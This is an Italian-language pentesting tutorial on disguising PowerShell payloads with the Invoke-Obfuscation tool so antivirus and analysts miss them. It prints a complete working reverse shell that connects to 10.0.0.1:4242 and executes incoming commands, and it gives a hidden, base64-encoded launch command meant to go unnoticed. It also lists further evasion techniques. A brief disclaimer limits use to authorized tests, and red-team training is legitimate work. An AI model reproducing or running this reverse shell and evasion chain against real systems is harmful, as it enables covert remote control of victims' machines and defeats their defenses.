Tutorials

**Guida Approfondita: Obfuscating Powershell Code con Invoke-Obfuscation**

L'offuscamento del codice PowerShell è una tecnica fondamentale nel contesto del pentesting e della Red Team Operations. Consiste nel mascherare il codice PowerShell in modo da renderlo meno riconosci

#exploitation#post-exploitation#windows

Guida Approfondita: Obfuscating Powershell Code con Invoke-Obfuscation

Cos'è l'Offuscamento del Codice PowerShell?

L'offuscamento del codice PowerShell è una tecnica fondamentale nel contesto del pentesting e della Red Team Operations. Consiste nel mascherare il codice PowerShell in modo da renderlo meno riconoscibile dagli antivirus e più difficile da analizzare manualmente. Questo è particolarmente utile quando si vogliono eseguire payload su macchine target senza sollevare allarmi.

Prerequisiti

  • Kali Linux configurato.
  • Installazione di PowerShell Core:
bash
sudo apt install powershell -y
  • Installazione di Wine per gestire eventuali strumenti Windows:
bash
sudo apt install wine32 -y
  • Accesso al repository Invoke-Obfuscation:
bash
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
cd Invoke-Obfuscation

Caricamento di Invoke-Obfuscation in PowerShell

Avvia PowerShell su Kali:

bash
pwsh

Importa il modulo:

bash
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

Preparazione del Payload PowerShell

Prendi un payload di tipo reverse shell da repository come PayloadsAllTheThings o scrivilo manualmente. Ad esempio:

bash
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()}
$client.Close()

Salva il payload in un file script.ps1:

bash
echo "[payload]" > /path/to/script.ps1

Offuscamento del Payload

1️⃣ Avvia Invoke-Obfuscation e imposta il percorso dello script:

bash
SET SCRIPTPATH /path/to/script.ps1

2️⃣ Scegli il metodo di offuscamento (es. AST, Token, String, ecc.). Esempio:

bash
AST
ALL

3️⃣ Se necessario, resetta le impostazioni:

bash
RESET

4️⃣ Visualizza e copia il risultato offuscato.

Alternative e Tecniche Avanzate

  • Offuscamento Multilivello: Usa più fasi di offuscamento per aumentare la complessità del codice.
  • Invoke-CradleCrafter: Un altro strumento utile per generare comandi PowerShell offuscati.
  • IEX EncodedCommand: Esegui il codice in una sola riga e base64 encode per passare inosservato.
bash
powershell.exe -nop -w hidden -enc [base64payload]
  • Dynamic Script Generation: Crea script a runtime per confondere i SOC e gli AV.
  • Living-Off-the-Land: Invece di usare payload custom, sfrutta comandi e moduli di Windows già presenti (es. WMI, Bitsadmin).

Nota Bene sulla Sicurezza

Queste tecniche sono da utilizzare esclusivamente in contesti legali e controllati, come i test di penetrazione autorizzati. L'uso improprio può avere conseguenze legali e violare policy di sicurezza.

Conclusione

L'offuscamento del codice PowerShell è un'arte e una scienza che richiede pratica e comprensione delle tecniche di detection e mitigazione. Invoke-Obfuscation è uno strumento potente che consente ai pentester di generare payload più evasivi e testare la resilienza dei sistemi difensivi.